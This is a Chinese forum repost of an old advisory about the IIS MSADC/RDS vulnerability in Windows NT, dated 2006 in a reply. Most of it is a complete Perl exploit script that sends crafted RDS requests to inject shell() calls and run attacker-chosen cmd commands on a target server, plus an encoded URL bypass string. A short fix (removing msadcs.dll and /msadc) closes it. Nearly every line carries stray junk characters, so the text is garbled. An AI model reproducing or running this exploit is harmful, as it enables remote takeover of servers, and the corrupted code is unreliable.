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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 'SQG>F Uy  
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涉及程序: f~ }H  
Microsoft NT server !i=nSqW  
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描述: J2uZmEt  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 N0#JOu}~  
[+qCs7'  
详细: v[Kxja;  
如果你没有时间读详细内容的话,就删除: zYl#4O`=c  
c:\Program Files\Common Files\System\Msadc\msadcs.dll C8F7bG8c  
有关的安全问题就没有了。  }fp-5  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Z7 E  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 qzb<J=FAU  
关于利用ODBC远程漏洞的描述,请参看: R8.CC1Ix  
K~ ;45Z2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1S@vGq}  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 q^6+!&"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp A*W) bZs.  
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这里不再论述。 DxJX+.9K9  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @)SL_9  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset =4h+ M$2  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!  ~c6}  
fGmT_C0t  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" *Q1~S]g  
]9\!;Bz^J  
#!perl #r3l[ bKK  
# x W92ch+t  
# MSADC/RDS 'usage' (aka exploit) script k}~O}~-  
# 1bGopi/  
# by rain.forest.puppy GguFo+YeZ  
#   zxp`  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^iQn'++Q  
# beta test and find errors! 2)j0Ai%  
s3W@WH^.  
use Socket; use Getopt::Std; {[+2n]f_G  
getopts("e:vd:h:XR", \%args); Q X%&~  
dDnf^7q/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [TNj;o5J  
/T. KbLx~q  
if (!defined $args{h} && !defined $args{R}) { NV#FvM/#"  
print qq~ VN%INUi@  
Usage: msadc.pl -h <host> { -d <delay> -X -v } .L~Nq%g1  
-h <host> = host you want to scan (ip or domain) j2 !3rI  
-d <seconds> = delay between calls, default 1 second g[w,!F  
-X = dump Index Server path table, if available Z}-Vf$O~  
-v = verbose `U2DkY&n  
-e = external dictionary file for step 5 -j&Tc` j_  
o=nsy]'&  
Or a -R will resume a command session umdG(osR  
T~b>B`_  
~; exit;} n`4K4y%Dy}  
w |l1'   
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; cW+t#>' r  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ,K^4fL$C;3  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Oh4AsOj@  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); f  nI|  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} bO<CR  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } hTwA%  
 TT-h;'nJ  
if (!defined $args{R}){ $ret = &has_msadc; DS<  }@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Q);n<Z:X~  
GIAc?;zY  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" T 6~_Q}6  
. "cmd /c "; T7f ${  
$in=<STDIN>; chomp $in;  aH#l9kCb  
$command="cmd /c " . $in ; bMU(?hb  
Rar"B*b;$  
if (defined $args{R}) {&load; exit;} 7==f\%,  
N~F RM& x  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; H)(:8~c,p  
&try_btcustmr; ;>mCalwj  
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print "\nStep 2: Trying to make our own DSN..."; mg, j:,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; n#iwb0-  
1 `KN]Nt  
print "\nStep 3: Trying known DSNs..."; r#6_]ep}<'  
&known_dsn; w;l<[q?_  
y9KB< yh/  
print "\nStep 4: Trying known .mdbs..."; l9M0cZ,  
&known_mdb; <r3J0)r}  
JCW\ *R  
if (defined $args{e}){ <EST?.@~+  
print "\nStep 5: Trying dictionary of DSN names..."; |`;54_f  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } It75R}B   
pa{re,O"e  
print "Sorry Charley...maybe next time?\n"; KWWa&[ev)  
exit; 1nu^F,M  
}@r{?8Ru  
############################################################################## -J^(eog[6  
Yf[Qtmh]I  
sub sendraw { # ripped and modded from whisker M5x U9]B  
sleep($delay); # it's a DoS on the server! At least on mine... GHmv} Z  
my ($pstr)=@_; c,*9K/:  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?)\a_ Tn  
die("Socket problems\n"); yZ!T8"mz{  
if(connect(S,pack "SnA4x8",2,80,$target)){ TFuR@KaBR  
select(S); $|=1; BT@r!>Nl  
print $pstr; my @in=<S>; #:d =)Qj0  
select(STDOUT); close(S); r$wxk 4%Rz  
return @in;  ;vb8G$  
} else { die("Can't connect...\n"); }} 6[]]Y,Y  
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############################################################################## ~0b O}  
5K?}}Frrt`  
sub make_header { # make the HTTP request 5#QXR+ T  
my $msadc=<<EOT D0N9Ksq  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \);4F=h}f  
User-Agent: ACTIVEDATA Q#EP|  
Host: $ip Sv;_HZ  
Content-Length: $clen J sEa23  
Connection: Keep-Alive XQ*eP?OS{  
5 B=^v#m  
ADCClientVersion:01.06 P#:?ok  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 wYlf^~#"  
J6jwBo2m  
--!ADM!ROX!YOUR!WORLD! =v*.p=r  
Content-Type: application/x-varg xB !6_VlB  
Content-Length: $reqlen C4NTh}6t T  
tBct  
EOT v|E"[P2e  
; $msadc=~s/\n/\r\n/g; 'u` .P:u?  
return $msadc;} { m| pl  
7G)H.L)$m"  
############################################################################## *~/OOH$"  
8KH\`5<  
sub make_req { # make the RDS request $\k0Nup}  
my ($switch, $p1, $p2)=@_; |A8/FU2{  
my $req=""; my $t1, $t2, $query, $dsn; WF\)fc#;_o  
sm$ (Y.N  
if ($switch==1){ # this is the btcustmr.mdb query $fgf Y8  
$query="Select * from Customers where City=" . make_shell(); [2|kl l  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . W Yc7aciJ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} d`1I".y  
4hw@yTUo  
elsif ($switch==2){ # this is general make table query A0%}v*  
$query="create table AZZ (B int, C varchar(10))"; "U \JV)N  
$dsn="$p1";} p^iRPI  
+S))3 5N[  
elsif ($switch==3){ # this is general exploit table query 4R5D88= C  
$query="select * from AZZ where C=" . make_shell(); 0KD]j8^  
$dsn="$p1";} . <tq6 1  
P+)DsZ0ig  
elsif ($switch==4){ # attempt to hork file info from index server 2[gFkyqe  
$query="select path from scope()";  ykrr2x  
$dsn="Provider=MSIDXS;";} @JW@-9/  
4ikdM/  
elsif ($switch==5){ # bad query _f6HAGDN  
$query="select"; iX\W;V  
$dsn="$p1";} ltFq/M  
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$t1= make_unicode($query); *SO{\bu  
$t2= make_unicode($dsn); +t2SzQ j>  
$req = "\x02\x00\x03\x00"; V_Wwrhua  
$req.= "\x08\x00" . pack ("S1", length($t1)); # 6!5 2  
$req.= "\x00\x00" . $t1 ; sN("+ sZ.n  
$req.= "\x08\x00" . pack ("S1", length($t2)); B(F,h+ajy  
$req.= "\x00\x00" . $t2 ; -WQ^gcO=7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; LOTP*Syjf  
return $req;} =tU{7i*+  
9h0X&1u  
############################################################################## S"wg2X<  
.Q)|vq^  
sub make_shell { # this makes the shell() statement /cZ-tSC)o  
return "'|shell(\"$command\")|'";} kg`.[{k  
>Yt/]ta4+  
############################################################################## s[gKc'  
XW?b\!@ $  
sub make_unicode { # quick little function to convert to unicode ]x&u`$F  
my ($in)=@_; my $out; z5bo_Eq  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } "@9? QI}  
return $out;} Cg616hyut  
%?e(hnM  
############################################################################## R1Ye<R!Q  
$3,ryXp7  
sub rdo_success { # checks for RDO return success (this is kludge) d(:3   
my (@in) = @_; my $base=content_start(@in); u0`%+:]0  
if($in[$base]=~/multipart\/mixed/){ p!/[K6u  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} *G UAO){'  
return 0;} Yhp]x   
*. &HD6Qr  
############################################################################## VtOZ%h[#  
>q7BVF6V |  
sub make_dsn { # this makes a DSN for us _ %%Z6x(  
my @drives=("c","d","e","f"); *6 U&Qy-M  
print "\nMaking DSN: "; IHp_A  
foreach $drive (@drives) { I!wX[4p eg  
print "$drive: "; <58l;<0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {NJfNu  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ix|~f1*%  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); '$ef+@y  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; qOaQxRYm%Y  
return 0 if $2 eq "404"; # not found/doesn't exist 0 'Vg6E]/  
if($2 eq "200") { s`Cy a`  
foreach $line (@results) { "G:<7oTa  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %{;Qls%[t  
} return 0;} 7E!7"2e a  
O@iu aeEW  
############################################################################## M.td^l0  
S^Au#1e   
sub verify_exists { Tg3!Rq55  
my ($page)=@_; }qjCTEs}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); v_<2H' *Q  
return $results[0];} RwVaZJe)l  
1oKfy>ie  
############################################################################## _W3Y\cs,-  
$W;b{H=F  
sub try_btcustmr { _owjTo}  
my @drives=("c","d","e","f"); _j>;ipTb+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); C>Is1i^9  
%c)[ kAU!  
foreach $dir (@dirs) { B cj/y4"  
print "$dir -> "; # fun status so you can see progress pG"5!42M!  
foreach $drive (@drives) { ]xd^%q*  
print "$drive: "; # ditto u =gt<1U  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1b9hE9a{j  
$reqlenlen=length( "$reqlen" ); 6bBdIqGb}  
$clen= 206 + $reqlenlen + $reqlen; E0oU$IB  
rd3j1U  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); N -w(e  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} iqW1#)3'R  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $mGvJ*9  
(5^ZlOk3  
############################################################################## wY"o`o Z  
@ d"wAZzD?  
sub odbc_error { $<p8TtI=YQ  
my (@in)=@_; my $base; h.K(P+h  
my $base = content_start(@in); YRlDX:oX~  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this [Vf}NF  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _7a'r</@  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q:6VYONN  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ESb ]}c:  
return $in[$base+4].$in[$base+5].$in[$base+6];} O3V.^_k;  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; l.nH?kK<  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . F~U!1)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]TstSF=  
irTv4ZE'+l  
############################################################################## 0uCT+-  
vw<K}z  
sub verbose { Q+i\8RJ  
my ($in)=@_; ?*r!{3T ,u  
return if !$verbose; 6#A:}B<?  
print STDOUT "\n$in\n";} ;3C:%!CdA]  
;7Oi!BC  
############################################################################## X5g[ :QKP7  
p4VSm a_(  
sub save { PNSMcakD  
my ($p1, $p2, $p3, $p4)=@_; Eaad,VBtU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Ml>( tec  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; (Y(E%  
close OUT;} @;wzsh >o  
>uJ/TQU  
############################################################################## x O7IzqY  
rsa&Oo D>  
sub load { )R{UXk3q}  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jw6Tj;c  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); O7aLlZdg~  
@p=<IN>; close(IN); u1K\@jlw  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^Jp*B;  
$target= inet_aton($ip) || die("inet_aton problems"); 0"[`>K~7a8  
print "Resuming to $ip ..."; /vE]2Io  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; +pqM ^3t|y  
if($p[1]==1) { pJ, @Y>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ED} 31L  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; K X]oE+:  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); i[semo\E  
if (rdo_success(@results)){print "Success!\n";} /-0' Qa+*  
else { print "failed\n"; verbose(odbc_error(@results));}} I_ "Z:v{  
elsif ($p[1]==3){ j?n+>/sG,  
if(run_query("$p[3]")){ P"7ow-  
print "Success!\n";} else { print "failed\n"; }} 2Ohp]G  
elsif ($p[1]==4){ kpob b  
if(run_query($drvst . "$p[3]")){ &~5=K  
print "Success!\n"; } else { print "failed\n"; }} [6(Iwz?  
exit;} G%TL/Z40  
Ua*&_~7kJ  
############################################################################## !D.0 (J  
j nwQV  
sub create_table { BQ05`nkF  
my ($in)=@_; ^&c$[~W  
$reqlen=length( make_req(2,$in,"") ) - 28; hv)7H)|l~]  
$reqlenlen=length( "$reqlen" ); Sav`%0q?7a  
$clen= 206 + $reqlenlen + $reqlen; POU}/e!Ua  
my @results=sendraw(make_header() . make_req(2,$in,"")); e&X>F"z2  
return 1 if rdo_success(@results); lj&>cScC  
my $temp= odbc_error(@results); verbose($temp); Zzd/K^gg  
return 1 if $temp=~/Table 'AZZ' already exists/; +lO'wa7|3  
return 0;} /c+)C"  
nb dGt  
############################################################################## EH`0  
UCqs}U8  
sub known_dsn { Gg0#H^s( (  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go J.M.L$  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", [EHrIn  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", evl -V>   
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 'zgvQMu  
't>r sp+#  
foreach $dSn (@dsns) { K}I0o!(#  
print "."; ipKG!  
next if (!is_access("DSN=$dSn")); CdhSp$>  
if(create_table("DSN=$dSn")){ JE%A|R<Jl  
print "$dSn successful\n"; ?p8k{N(1  
if(run_query("DSN=$dSn")){ r!/0 j)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .?#uxd~>  
print "Something's borked. Use verbose next time\n";}}} print "\n";} WBppKj_M  
 5) lW  
############################################################################## W$\X~Q'0  
jv}=&d  
sub is_access { w;`m- 9<Y  
my ($in)=@_; VfSGCe  
$reqlen=length( make_req(5,$in,"") ) - 28; lQt% Qx  
$reqlenlen=length( "$reqlen" ); vrrt@y  
$clen= 206 + $reqlenlen + $reqlen; ^GXEJU 7U  
my @results=sendraw(make_header() . make_req(5,$in,"")); [wcA.g*F  
my $temp= odbc_error(@results); oP$kRfXS!<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Z}cIA87U  
return 0;} "xwM+AC  
.`LgYW  
############################################################################## @oH[SWx  
{tzxA_  
sub run_query { 8@7AE"  
my ($in)=@_; s j9D  
$reqlen=length( make_req(3,$in,"") ) - 28; Da,&+fZI!  
$reqlenlen=length( "$reqlen" ); x% XT2+  
$clen= 206 + $reqlenlen + $reqlen; ;A^K_w'  
my @results=sendraw(make_header() . make_req(3,$in,"")); |"}4*V_*  
return 1 if rdo_success(@results); DNth4z  
my $temp= odbc_error(@results); verbose($temp); I5pp "*u  
return 0;}  t9*=  
<lld*IH  
############################################################################## =l|>.\-  
<NQyP{p  
sub known_mdb { }V^e7d  
my @drives=("c","d","e","f","g"); 52<~K  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3YTIH2z 5  
my $dir, $drive, $mdb; 5 ;vC(Go  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +Hyk'=.W  
e(\Q)re5Q  
# this is sparse, because I don't know of many zHx mA  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 9A;6x$s  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", wA0eG@xi)  
"\\system32\\certmdb.mdb", o8D{dS>,PL  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% vw r RZ"2  
@6%gIsj<H  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", :`<psvd  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vo b$iS`>=  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", />Jm Rdf  
"\\cfusion\\cfapps\\security\\realm_.mdb", S:s 3EM  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Z t`j\^4n  
"\\cfusion\\database\\cfexamples.mdb", 91;HiILgT  
"\\cfusion\\database\\cfsnippets.mdb", ?Leyz  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ?Y!U*& 7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 2}`R"MeS  
"\\cfusion\\brighttiger\\database\\cleam.mdb", }1rvM4{/+f  
"\\cfusion\\database\\smpolicy.mdb", i/: 5jI|  
"\\cfusion\\database\cypress.mdb", k|ip?O  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", PdM*5g4  
"\\website\\cgi-win\\dbsample.mdb", '(9YB9 i  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]piM/v\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" rU*q@y Px  
); #these are just 9UmBm#"  
foreach $drive (@drives) { Y2vj}9jK  
foreach $dir (@dirs){ e-!?[Ujv*%  
foreach $mdb (@sysmdbs) { "w^Nu6  
print "."; & >b+loF  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _sm;HH7'*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; fIEw(k<*  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ C@)pmSQ  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; rys<-i(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} /d]~ly @uI  
# `58F.  
foreach $drive (@drives) { "8_,tYAH  
foreach $mdb (@mdbs) { .P%ym~S  
print "."; zW)gC9_|m-  
if(create_table($drv . $drive . $dir . $mdb)){ E.#6;HHzN  
print "\n" . $drive . $dir . $mdb . " successful\n"; Xv*}1PZH  
if(run_query($drv . $drive . $dir . $mdb)){ )[ w&C_>]  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 9i[4"&K  
} else { print "Something's borked. Use verbose next time\n"; }}}} fn?VNZ`J  
} Okoo(dfM  
|<2 *v-a  
############################################################################## o#dcD?^  
~1d!hq?/q  
sub hork_idx { GMT or  
print "\nAttempting to dump Index Server tables...\n"; AI R{s7N  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; :R3P 58>  
$reqlen=length( make_req(4,"","") ) - 28; #ZF>WoC@e?  
$reqlenlen=length( "$reqlen" ); OgTSx  
$clen= 206 + $reqlenlen + $reqlen; o]p#%B?mZ  
my @results=sendraw2(make_header() . make_req(4,"","")); \L %q[  
if (rdo_success(@results)){ O$(c. (_$  
my $max=@results; my $c; my %d; #'c%  
for($c=19; $c<$max; $c++){ v<+4BjV!J}  
$results[$c]=~s/\x00//g; Rj&qh`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 'oCm.~;_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 2b!j.T#u  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; *k!(ti[  
$d{"$1$2"}="";} 9 c6'  
foreach $c (keys %d){ print "$c\n"; } W{\EE[XhCf  
} else {print "Index server doesn't seem to be installed.\n"; }} =1Ri]b  
,P!D-MN$V  
############################################################################## bm^X!i5  
3~:0?Zuq  
sub dsn_dict { t,1in4sN  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "kU>~~y,  
while(<IN>){ >.n;mk  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ennR@pg  
next if (!is_access("DSN=$dSn")); ?Oqzd$-  
if(create_table("DSN=$dSn")){ |""=)-5N  
print "$dSn successful\n"; ?'Oj=k"c7  
if(run_query("DSN=$dSn")){ QjqBO+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hXPocP  
print "Something's borked. Use verbose next time\n";}}} #_{0Ndp2  
print "\n"; close(IN);} "'~|}x1Uv  
quY "  
############################################################################## htV#5SUx&  
]2LXUYB  
sub sendraw2 { # ripped and modded from whisker OZa88&  
sleep($delay); # it's a DoS on the server! At least on mine... ] ZDTn  
my ($pstr)=@_; #>" }q3RO  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2Gm-\o&Td"  
die("Socket problems\n"); fqN75['n  
if(connect(S,pack "SnA4x8",2,80,$target)){ "I@v&(Am;  
print "Connected. Getting data"; CJm.K  
open(OUT,">raw.out"); my @in; prwC>LE  
select(S); $|=1; print $pstr; P3i^S_  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} "* +\KPCU  
close(OUT); select(STDOUT); close(S); return @in; IO*l vy  
} else { die("Can't connect...\n"); }} ZWFG?8lJ  
#n=A)#'my  
############################################################################## [f=.!\0\  
MSK'2+1T@g  
sub content_start { # this will take in the server headers ))p$vU3  
my (@in)=@_; my $c; -.^3;-[  
for ($c=1;$c<500;$c++) { ):^ '/e  
if($in[$c] =~/^\x0d\x0a/){ }'DC Q  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } C`3V=BB  
else { return $c+1; }}} Ri; =aZ5m  
return -1;} # it should never get here actually l 4!kxXf-<  
[7'#~[a~  
############################################################################## @81-kdTx  
sRi?]9JIl  
sub funky { _O"L1Let  
my (@in)=@_; my $error=odbc_error(@in); C1KfXC*|L  
if($error=~/ADO could not find the specified provider/){ Z^{+,$H@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ix^gAot  
exit;} E2kW=6VO>|  
if($error=~/A Handler is required/){ ;*W=c   
print "\nServer has custom handler filters (they most likely are patched)\n"; OI*ZVD)J  
exit;} & { DR 6  
if($error=~/specified Handler has denied Access/){ 1;aF5~&  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;i.I&*t  
exit;}} l<W*/}3  
*X~B-a|nJ  
############################################################################## PEfE'lGj  
F%9cS :  
sub has_msadc { s fyBw  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Mm "Wk  
my $base=content_start(@results); P@2tR5<R  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,.[.SU#V  
return 0;} P`p6J8}4  
vc )9Re$  
######################## Cca6L9%  
G4O,^ v;Q  
C/CN '  
解决方案: kxygf9I!;  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {%=S+89l  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 3aEt>x  
#!w:_T%  
拿出来充数 哈哈
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